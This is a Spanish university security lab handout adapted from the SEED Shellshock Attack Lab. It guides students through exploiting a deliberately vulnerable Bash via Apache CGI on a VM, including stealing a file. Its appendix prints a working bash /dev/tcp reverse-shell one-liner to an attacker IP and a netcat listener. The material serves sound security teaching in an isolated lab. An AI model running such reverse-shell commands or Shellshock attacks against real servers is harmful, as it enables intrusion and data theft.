Seguridad Informática 2020/2021.

Práctica 1

MUY IMPORTANTE: Leer el documento con la normativa sobre estas prácticas.

La práctica se realiza en el entorno de virtualización VirtualBox. En esta práctica se utiliza el siguiente sistema, cuya imagen virtual ya está creada en formato **ova**:

- **Seginf-1** -> Credenciales: (**root** / **toor**) , (**user** / **resu**)

Es una máquina Debian 10, con algún añadido (servidor apache2 y alguna cosilla mas). Está en:

https://unizares-my.sharepoint.com/:f:/g/personal/gvalles_unizar_es/EgMaqbww_bJJhjm_bUFOB2YBPy-5eOtQ0U5gtWaRfniHRw?e=X1F0mI

Para crear las máquinas en VirtualBox, seleccionar el menú "Archivo->Importar servicio virtualizado".

La máquina está configurada con 2 interfaces de red, uno NAT (para descargas y actualizaciones de software, aunque en esta práctica en principio no hace falta), y otro de tipo "Adaptador solo anfitrión" para interaccionar desde el host con la MV, ambos configurados como clientes DHCP.

El enunciado de esta práctica es básicamente una traducción con mínimas variaciones de "SEED Labs – Shellshock Attack Lab", cuyo autor es Wenliang Du (https://seedsecuritylabs.org).

1 Introducción

El 24 de septiembre de 2014, se identificó una grave vulnerabilidad en Bash. Apodada Shellshock, esta vulnerabilidad puede explotar muchos sistemas y ser lanzada tanto remotamente como desde una máquina local. En este laboratorio los estudiantes trabajarán en este ataque, para que puedan entender esta vulnerabilidad. El objetivo de aprendizaje de este laboratorio es que los estudiantes obtengan una experiencia de primera mano sobre este interesante ataque, entender cómo funciona, y pensar en las lecciones que podemos sacar de él. Este laboratorio cubre los siguientes temas:

- Shellshock
- Variables de entorno
- Definición de funciones en Bash
- Apache y programas CGI

2 Tareas de laboratorio

2.1 Tarea 1: Experimentar con las funciones en Bash

El programa Bash ya fue parcheado hace mucho tiempo, por lo que ya no es vulnerable al ataque Shellshock. Para el propósito de este laboratorio, se ha instalado una versión vulnerable de Bash dentro de la carpeta /bin en la máquina virtual; su nombre es 'bash_shellshock'.

Ejecutad esta versión vulnerable de Bash como se indica a continuación, y diseñad un experimento para verificar si este Bash es vulnerable al ataque Shellshock o no.

```
$ /bin/bash_shellshock
```

Probad el mismo experimento en la versión parcheada de bash (/bin/bash) e informad de lo que se observe.

2.2 Tarea 2: Configuración de programas CGI

En este laboratorio, lanzaremos un ataque Shellshock en un servidor web remoto. Muchos servidores web permiten CGI, que es un método estándar utilizado para generar contenido dinámico en páginas web y aplicaciones web. Muchos programas CGI se escriben usando scripts shell. Por lo tanto, antes de que se ejecute un programa CGI, un programa Shell se invocará primero, y esa invocación se activa por un usuario desde un ordenador remoto. Si el Shell es un programa Bash vulnerable, podemos explotar la vulnerabilidad de Shellshock para obtener privilegios en el servidor.

En esta tarea, **crearemos un programa CGI** muy simple (llamado myprog.cgi) como el siguiente. Simplemente imprime "Hello World" usando un script de shell.

```
#!/bin/bash_shellshock
echo "Content-type: text/plain"
echo
echo
echo "Hello World"
```

Aseguraos de usar /bin/bash_shellshock en la primera línea, en lugar de usar /bin/bash. Esa línea especifica qué programa de shell debe ser invocado para ejecutar el script. Necesitamos usar el

Bash vulnerable en este caso**. Copiad el programa CGI de arriba en el directorio /usr/lib/cgi-bin y poned sus permisos a 755** (por lo que es ejecutable). Necesitaréis usar privilegios de administración para hacer esto, ya que el directorio es sólo escribible por el administrador. Este directorio es el directorio CGI por defecto para el servidor web Apache. Para acceder a este programa CGI desde la Web, se puede utilizar un navegador escribiendo la siguiente URL:

http://__IP_VM__/cgi-bin/myprog.cgi

, o alternativamente utilizar el programa de línea de comandos curl:

```
$ curl http://__IP_VM__/cgi-bin/myprog.cgi
```

Estas pruebas de acceso se deben hacer desde el host, atando el interface de la máquina víctima en la red "Solo anfitrión".

2.3 Tarea 3: Pasar datos a Bash a través de las variables de entorno

Para explotar una vulnerabilidad de Shellshock en un programa CGI basado en Bash, los atacantes necesitan pasar sus datos a la aplicación vulnerable Bash, y los datos deben pasarse a través de una variable de entorno. En esta tarea, vamos a ver cómo podemos lograr este objetivo. Podéis utilizar el siguiente programa CGI para **demostrar que es posible enviar un string arbitrario al programa CGI, y que el string aparece en el contenido de una de las variables de entorno**:

```
#!/bin/bash_shellshock
echo "Content-type: text/plain"
echo
echo "****** Environment Variables ******"
strings /proc/$$/environ
```

En el código anterior, la última línea imprime el contenido de todas las variables de entorno del proceso actual.

Si el experimento tiene éxito, deberíais ver vuestro string en la página que entrega el servidor web. **Explicad cómo los datos de un usuario remoto pueden llegar a esas variables de entorno.**

2.4 Tarea 4: Lanzamiento del Ataque Shellshock

Después de que se haya configurado el programa CGI anterior, ahora podemos lanzar el ataque Shellshock. El ataque no depende de lo que hay en el programa CGI, ya que se dirige al programa Bash, que es invocado primero, antes de que el script CGI se ejecute. Vuestro objetivo es lanzar el ataque a través de la URL http:// __IP_VM__/cgi-bin/myprog.cgi, para que podáis lograr algo que no puede hacer como usuario remoto. En esta tarea, debéis **demostrar** lo siguiente:

- **Usar el ataque Shellshock para robar el contenido de un archivo secreto del servidor**.
- **Responded a la siguiente pregunta**: ¿seriáis capaces de robar el contenido del archivo /etc/shadow? ¿Por qué?

2.5 Tarea 5: Obtención de un Shell inverso a través de un ataque de Shellshock

La vulnerabilidad de Shellshock permite que los ataques ejecuten comandos arbitrarios en el equipo objetivo. En ataques reales, en lugar de codificar el comando en su ataque, los atacantes

a menudo eligen ejecutar un comando shell, y entonces usar este intérprete de comandos para ejecutar otros comandos, mientras el programa intérprete de comandos esté vivo. Para lograr este objetivo, los atacantes necesitan ejecutar un shell inverso.

El Shell inverso es un proceso shell que se inicia en una máquina, con su entrada y salida controladas por alguien de un ordenador remoto. Básicamente, el Shell corre en la máquina de la víctima, pero toma su entrada del equipo del atacante y también muestra su salida en el equipo del atacante. Un shell inverso da a los atacantes una forma conveniente de ejecutar comandos en una máquina comprometida.

En esta tarea tenéis que **demostrar cómo lanzar un shell inverso a través de la vulnerabilidad Shellshock en un programa CGI**. En el informe, **explicad también cómo se configura y por qué funciona**. Básicamente, necesitáis usar vuestras propias palabras para explicar cómo funciona el shell inverso en vuestro ataque de Shellshock.

3 Presentación del informe

Es necesario presentar un **informe detallado** de laboratorio para describir lo que se ha hecho y lo que se ha observado, incluyendo capturas de pantalla y fragmentos de código. También es necesario dar explicaciones a las observaciones que se consideren interesantes o sorprendentes. Os animo a seguir investigando, más allá de lo requerido en el enunciado del laboratorio.

Apéndice: Creación de un shell inverso

La idea clave del shell inverso es redirigir sus dispositivos estándar de entrada, salida y error a una conexión de red, de modo que el shell obtiene su entrada de la conexión, y muestra su salida también a través de la conexión. En el otro extremo de la conexión hay un programa ejecutado por el atacante; el programa simplemente muestra lo que viene desde el shell en el otro extremo, y envía lo que el atacante escribe al shell, a través de la conexión de red.

Un programa comúnmente utilizado por los atacantes es netcat, que, si se ejecuta con la opción "-l", se convierte en un servidor TCP que escucha una conexión en el puerto especificado. Este programa servidor básicamente muestra lo que sea enviado por el cliente, y envía al cliente lo que sea escrito por el usuario que está ejecutando el servidor. En el siguiente experimento, netcat (nc para abreviar) se usa para escuchar una conexión en el puerto 9090 (enfoquémonos sólo en la primera línea):

```
Attacker(10.0.2.6):$ nc -l 9090 -v  <- Waiting for reverse shell
Connection from 10.0.2.5 port 9090 [tcp/*] accepted
Server(10.0.2.5):$                  <- Reverse shell from 10.0.2.5
Server(10.0.2.5):$ ifconfig
ifconfig
eth23 Link encap:Ethernet HWaddr 08:00:27:fd:25:0f
      inet addr:10.0.2.5 Bcast:10.0.2.255 Mask:255.255.255.0
      inet6 addr: fe80::a00:27ff:fefd:250f/64 Scope:Link
      ...
```

El comando nc anterior se bloqueará, a la espera de una conexión. Ahora ejecutamos directamente el siguiente bash en el equipo Servidor (10.0.2.5) para emular lo que los atacantes ejecutarían después de comprometer el servidor a través del ataque de Shellshock. Este

comando bash activará una conexión TCP con el puerto 9090 de la máquina atacante, y se creará un shell inverso. Podemos ver el intérprete de comandos del shell desde el resultado anterior, indicando que el shell se está ejecutando en el equipo Server; podemos escribir el comando ifconfig para verificar que la dirección IP es efectivamente 10.0.2.5, la que pertenece al equipo del Servidor. Este es el comando bash:

```
Server:$ /bin/bash -i > /dev/tcp/10.0.2.6/9090 0<&1 2>&1
```

El comando anterior representa el que normalmente se ejecutaría en un servidor comprometido. Es bastante complicado, y damos una explicación detallada a continuación:

- "/bin/bash -i": La opción i significa interactivo, lo que significa que el shell debe ser interactivo (debe proporcionar un intérprete de comandos).
- "> /dev/tcp/10.0.2.6/9090": Esto hace que el dispositivo de salida (stdout) del shell sea redirigido a la conexión TCP al puerto 9090 de 10.0.2.6. En sistemas Unix, el descriptor del archivo stdout es el 1.
- "0<&1": El descriptor de archivo 0 representa el dispositivo de entrada estándar (stdin). Esta opción le dice al sistema que utilice el dispositivo de salida estándar como dispositivo de entrada estándar. Dado que el stdout ya está redirigido a la conexión TCP, esta opción básicamente indica que el programa shell obtendrá su entrada de la misma conexión TCP.
- "2>&1": El descriptor de archivo 2 representa el error estándar stderr. Esto provoca que la salida de error sea redirigido a stdout, que es la conexión TCP.

En resumen, el comando "/bin/bash -i > /dev/tcp/10.0.2.6/9090 0<&1 2>&1" inicia un intérprete de comandos bash en el equipo servidor, con su entrada procedente de una conexión TCP, y la salida dirigida a la misma conexión TCP. En nuestro experimento, cuando el comando bash se ejecuta en 10.0.2.5, se conecta al proceso netcat iniciado el 10.0.2.6. Esto se confirma mediante el mensaje mostrado por netcat: " Connection from 10.0.2.5 port 9090 [tcp/*] accepted".